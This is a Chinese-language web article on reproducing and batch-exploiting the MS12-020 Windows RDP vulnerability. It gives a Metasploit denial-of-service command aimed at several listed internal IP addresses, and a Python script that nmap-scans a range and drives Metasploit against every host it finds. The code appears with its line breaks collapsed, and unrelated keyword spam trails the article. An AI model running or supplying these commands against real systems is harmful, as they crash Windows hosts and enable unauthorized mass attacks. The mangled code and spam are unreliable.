千家信息网

MS12-020漏洞复现及自动化批量利用

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,漏洞描述Windows 远程桌面协议漏洞,可执行代码,POC可导致蓝屏。(RDP远程桌面执行代码漏洞)影响目标Windows XP sp3Windows xp sp2Windows Vista sp2
千家信息网最后更新 2026年10月31日MS12-020漏洞复现及自动化批量利用

漏洞描述

Windows 远程桌面协议漏洞,可执行代码,POC可导致蓝屏。(RDP远程桌面执行代码漏洞)

影响目标

Windows XP sp3Windows xp sp2Windows Vista sp2Windows 7Windows Server 2003Windows Server 2008Windows Server 2008 R2

msfpayload利用

msfconsoleuse auxiliary/dos/windows/rdp/ms12_020_maxchannelidsset rhost run

此pyload仅支持单目标。

通过msfconsole快速启动

msfconsole -x "use auxiliary/dos/windows/rdp/ms12_020_maxchannelids;set rhost 10.129.10.10;run;set rhost 10.129.10.37;run;set rhost 10.129.10.169;run;set rhost 10.129.10.209;run;set rhost 10.129.10.232;run;"

通过bash脚本批量生成检测脚本(nmap-port2ip.py)

#encoding:utf-8import xml.saximport sysimport osclass MovieHandler( xml.sax.ContentHandler ):   def __init__(self, filterport=None):      self.CurrentData = ""      self.port=filterport      self.data = ""      self.datas=[]   # 元素开始事件处理   def startElement(self, tag, attributes):      self.CurrentData = tag      if tag == "address":         self.data=attributes["addr"]   # 元素结束事件处理   def endElement(self, tag):      if self.CurrentData == "address":         self.datas.append(self.data)         self.data=""      self.CurrentData = ""class Gather(object):    def __init__(self, filterport=None):        # 创建一个 XMLReader        self.parser = xml.sax.make_parser()        # turn off namepsaces        self.parser.setFeature(xml.sax.handler.feature_namespaces, 0)        # 重写 ContextHandler        self.Handler = MovieHandler(filterport)        self.parser.setContentHandler( self.Handler )    def run(self, port):        self.Handler.datas=[]        self.parser.parse(port+".xml")        print(self.Handler.datas)    def get_ans(self):        return self.Handler.datasif __name__ == "__main__":    if len(sys.argv) !=3:        os.exit()    os.system("nmap "+sys.argv[1]+" -p "+sys.argv[2]+" --open -oX "+sys.argv[2]+".xml")    g = Gather()    g.run(sys.argv[2])    # create cmd    cmd = '"use auxiliary/scanner/rdp/ms12_020_check;set threads 20;'    ips = g.get_ans()    if len(ips)>0:        for ip in g.get_ans():            cmd += "set rhosts "+ip+";run;"        cmd += 'exit;"'        os.system("msfconsole -x " + cmd)# 使用方法python nmap-port2ip.py  # 功能:针对某种服务的漏洞对指定IP段的所有主机进行检测,获取可能存在问题的主机IP,并调用对应的Msf Payload进行利用尝试。# ip可支持单一IP、CIDR形式IP、10.129.1.1-154等几种,格式与nmap一致# port仅支持单端口

漏洞补丁检测

systeminfo | find /i "KB2621440"如果存在结果如下,证明已打补丁,否则,需要打对应的补丁。

Windows Server 2003补丁

参考文章

  1. 微软MS12-020
漏洞 补丁 支持 检测 主机 事件 代码 元素 桌面 目标 脚本 处理 一致 使用方法 功能 形式 文章 方法 格式 端口 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 百单网互联网科技有限公司 广州为想互联网科技有限公司 新华互联网科技 哈尔滨大商圈互联网科技有限公司 为想互联网科技怎么样 互联网最新的科技 新华互联网科技学院 互联网科技集团 北京互联网络科技有限公司 成都仁贤领冠互联网科技有限公司 互联网科技公司需要的职位 茂名市互联网科技产业园 广州恒生互联网科技有限 燊美集互联网科技有限公司 江苏互联网智能科技软件 领航科技大厦互联网公司 互联网风格科技公司名称 世界互联网科技成果奖 中国互联网公司的科技投入 陕西彩京云互联网科技有限公司 博彦科技互联网金融 科技互联网技术 互联网科技开发公司 科技制造互联网公司 善班互联网科技 互联网科技革命什么开始 工业互联网等科技实现智能化赋能 互联网金融科技名词解释 每天都有哪些好的互联网科技 美国互联网科技公司
0